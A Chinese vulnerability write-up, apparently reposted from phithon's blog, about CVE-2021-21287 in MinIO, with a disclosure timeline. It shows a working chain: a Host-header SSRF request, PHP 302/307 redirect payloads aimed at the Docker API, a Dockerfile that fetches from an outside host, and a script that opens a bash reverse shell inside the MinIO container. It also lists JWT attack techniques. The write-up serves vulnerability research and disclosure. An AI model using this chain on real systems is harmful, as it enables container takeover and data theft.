奇安信攻防社区-CVE-2021-21287: 容器与云的碰撞—

CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试

作者: phithon 随着工作和生活中的一些环境逐渐往云端迁移，对象存储的需求也逐渐多了起来，MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议，也支持作为S3的网关，所以在全球被广泛使用，在Github上已有25k星星。

0x00前言
------

随着工作和生活中的一些环境逐渐往云端迁移，对象存储的需求也逐渐多了起来，MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议，也支持作为S3的网关，所以在全球被广泛使用，在Github上已有25k星星。

我平时会将一些数据部署在MinIO中，在CI、Dockerfile等地方进行使用。本周就遇到了一个环境，其中发现一个MinIO，其大概情况如下：

1. MinIO运行在一个小型Docker集群（swarm）中
2. MinIO开放默认的9000端口，外部可以访问，地址为`http://192.168.227.131:9000`，但是不知道账号密码
3. 192.168.227.131这台主机是CentOS系统，默认防火墙开启，外部只能访问9000端口，dockerd监听在内网的2375端口（其实这也是一个swarm管理节点，swarm监听在2377端口）

本次测试目标就是窃取MinIO中的数据，或者直接拿下。

0x01 MinIO代码审计
--------------

既然我们选择了从MinIO入手，那么先了解一下MinIO。其实我前面也说了，因为平时用到MinIO的时候很多，所以这一步可以省略了。其使用Go开发，提供HTTP接口，而且还提供了一个前端页面，名为“MinIO Browser”。当然，前端页面就是一个登陆接口，不知道口令无法登录。

那么从入口点（前端接口）开始对其进行代码审计吧。

在User-Agent满足正则.*Mozilla.*的情况下，我们即可访问MinIO的前端接口，前端接口是一个自己实现的JsonRPC：

我们感兴趣的就是其鉴权的方法，随便找到一个RPC方法，可见其开头调用了webRequestAuthenticate，跟进看一下，发现这里用的是jwt鉴权：  
![](https://shs3.b.qianxin.com/butian_public/ff53d84e9a5071abb2d6ee421c75d1f47.jpg)  
我们感兴趣的就是其鉴权的方法，随便找到一个RPC方法，可见其开头调用了webRequestAuthenticate，跟进看一下，发现这里用的是jwt鉴权：  
![](https://shs3.b.qianxin.com/butian_public/f66963371407ced2dbdad8c6d1326a2a1.jpg)  
jwt常见的攻击方法主要有下面这几种：

1. 将alg设置为None，告诉服务器不进行签名校验
2. 如果alg为RSA，可以尝试修改为HS256，即告诉服务器使用公钥进行签名的校验
3. 爆破签名密钥

查看MinIO的JWT模块，发现其中对alg进行了校验，只允许以下三种签名方法：

![](https://shs3.b.qianxin.com/butian_public/f59ca60c587574167b38fc13923d5e4d2.jpg)

这就堵死了前两种绕过方法，爆破当然就更别说了，通常仅作为没办法的情况下的手段。当然，MinIO中使用用户的密码作为签名的密钥，这个其实会让爆破变地简单一些。

鉴权这块没啥突破，我们就可以看看，有哪些RPC接口没有进行权限验证。

很快找到了一个接口，LoginSTS。这个接口其实是AWS STS登录接口的一个代理，用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口（也就还是他自己，因为它是兼容AWS协议的）。

简化其代码如下：

```php
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")

v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)

scheme := "http"
    // ...

u := &url.URL{
        Scheme: scheme,
        Host:   r.Host,
    }

u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}
```

没发现有鉴权上的绕过问题，但是发现了另一个有趣的问题。这里，MinIO为了将请求转发给“自己”，就从用户发送的HTTP头Host中获取到“自己的地址”，并将其作为URL的Host构造了新的URL。

这个过程有什么问题呢？

因为请求头是用户可控的，所以这里可以构造任意的Host，进而构造一个SSRF漏洞。

我们来实际测试一下，向http://192.168.227.131:9000发送如下请求，其中Host的值是我本地ncat开放的端口（192.168.1.142:4444）：

```php
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}
```

成功收到请求：

![](https://shs3.b.qianxin.com/butian_public/f4eea48caef0f9025af3721ff5c874804.jpg)

可以确定这里存在一个SSRF漏洞了。

0x02 升级SSRF漏洞
-------------

仔细观察，可以发现这是一个POST请求，但是Path和Body都没法控制，我们能控制的只有URL中的一个参数WebIdentityToken。

但是这个参数经过了URL编码，无法注入换行符等其他特殊字符。这样就比较鸡肋了，如果仅从现在来看，这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。

幸运的是，Go默认的http库会跟踪302跳转，而且不论是GET还是POST请求。所以，我们这里可以302跳转来“升级”SSRF漏洞。

使用PHP来简单地构造一个302跳转：

```php
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
```

将其保存成index.php，启动一个PHP服务器：  
![](https://shs3.b.qianxin.com/butian_public/fbbf71d62aa8aca3c07c59ffd2750a83a.jpg)

将Host指向这个PHP服务器。这样，经过一次302跳转，我们收获了一个可以控制完整URL的GET请求：  
![](https://shs3.b.qianxin.com/butian_public/f5ec931f959c66977bedf0b83a30a9db4.jpg)

放宽了一些限制，结合前面我对这套内网的了解，我们可以尝试攻击Docker集群的2375端口。

2375是Docker API的接口，使用HTTP协议通信，默认不会监听TCP地址，这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么，我们是否可以通过SSRF来攻击这个接口呢？

在Docker未授权访问的情况下，我们通常可以使用docker run或docker exec来在目标容器里执行任意命令（如果你不了解，可以参考这篇文章）。但是翻阅Docker的文档可知，这两个操作的请求是POST /containers/create和POST /containers/{id}/exec。

两个API都是POST请求，而我们可以构造的SSRF却是一个GET的。怎么办呢？

### 0x03 再次升级SSRF漏洞

还记得我们是怎样获得这个GET型的SSRF的吗？通过302跳转，而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求，因为他的Path不可控。

如何构造一个Path可控的POST请求呢？

我想到了307跳转，307跳转是在RFC 7231中定义的一种HTTP状态码，描述如下：

```php
The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.
```

307跳转的特点就是不会改变原始请求的方法，也就是说，在服务端返回307状态码的情况下，客户端会按照Location指向的地址发送一个相同方法的请求。

我们正好可以利用这个特性，来获得POST请求。

简单修改一下之前的index.php：

```php
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);
```

尝试SSRF攻击，收到了预期的请求：  
![](https://shs3.b.qianxin.com/butian_public/f635d85161a3c3f7aae1d739f39d01b0a.jpg)

Bingo，获得了一个POST请求的SSRF，虽然没有Body。

0x04 攻击Docker API
-----------------

回到Docker API，我发现现在仍然没法对run和exec两个API做利用，原因是，这两个API都需要在请求Body中传输JSON格式的参数，而我们这里的SSRF无法控制Body。

继续翻越Docker文档，我发现了另一个API，Build an image：  
![](https://shs3.b.qianxin.com/butian_public/f1fdc7b95a1d7e28bd1aa76b44eaf81b2.jpg)

这个API的大部分参数是通过Query Parameters传输的，我们可以控制。阅读其中的选项，发现它可以接受一个名为remote的参数，其说明为：

```php
A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.
```

这个参数可以传入一个Git地址或者一个HTTP URL，内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。

也就是说，Docker API支持通过指定远程URL的方式来构建镜像，而不需要我在本地写入一个Dockerfile。

所以，我尝试编写了这样一个Dockerfile，看看是否能够build这个镜像，如果可以，那么我的4444端口应该能收到wget的请求：

```php
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build
```

然后修改前面的index.php，指向Docker集群的2375端口：

```php
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/

Dockerfile&nocache=true&t=evil:1', false, 307);
```

进行SSRF攻击，等待了一会儿，果然收到请求了：

![](https://shs3.b.qianxin.com/butian_public/f220a92871d26df5ecb82cd1dc64726b5.jpg)

完美，我们已经可以在目标集群容器里执行任意命令了。

0x05 拿下MinIO容器
--------------

此时离我们的目标，拿下MinIO，还差一点点，后面的攻击其实就比较简单了。

因为现在可以执行任意命令，我们就不会再受到SSRF漏洞的限制，可以直接反弹一个shell，或者可以直接发送任意数据包到Docker API，来访问容器。经过一顿测试，我发现MinIO虽然是运行的一个service，但实际上就只有一个容器。

所以我编写了一个自动化攻击MinIO容器的脚本，并将其放在了Dockerfile中，让其在Build的时候进行攻击，利用docker exec在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下：

```php

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash
```

这个脚本所干的事情比较简单，一个是遍历了所有容器，如果发现其镜像的名字中包含minio/minio，则认为这个容器就是MinIO所在的容器。拿到这个容器的Id，用exec的API，在其中执行反弹shell的命令。

最后成功拿到MinIO容器的shell：

当然，我们也可以通过Docker API来获取集群权限，这不在本文的介绍范围内了。

0x06 总结
-------

本次测试开始于一个MinIO开放的9000端口，通过代码审计，挖掘到了MinIO的一个SSRF漏洞，又利用这个漏洞攻击内网的Docker API，最终拿到了MinIO的权限。

本文所涉及的漏洞已经提交给MinIO官方并修复，以下是时间线：

Jan 23, 2021, 9:11 PM - 漏洞提交

Jan 24, 2021, 3:06 AM - 漏洞确认

Jan 26, 2021, 2:15 AM - 修复已被合并进主线分支

Jan 30, 2021, 11:22 AM - 漏洞公告和新版本被发布

Feb 2, 2021 01:10 AM - 确认编号 - CVE-2021-21287

原文转载自phithon师傅博客，原文地址为：<https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html>

发表于 2021-04-15 17:38:50
阅读 ( 6128 )
分类：漏洞分析

CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试

0 条评论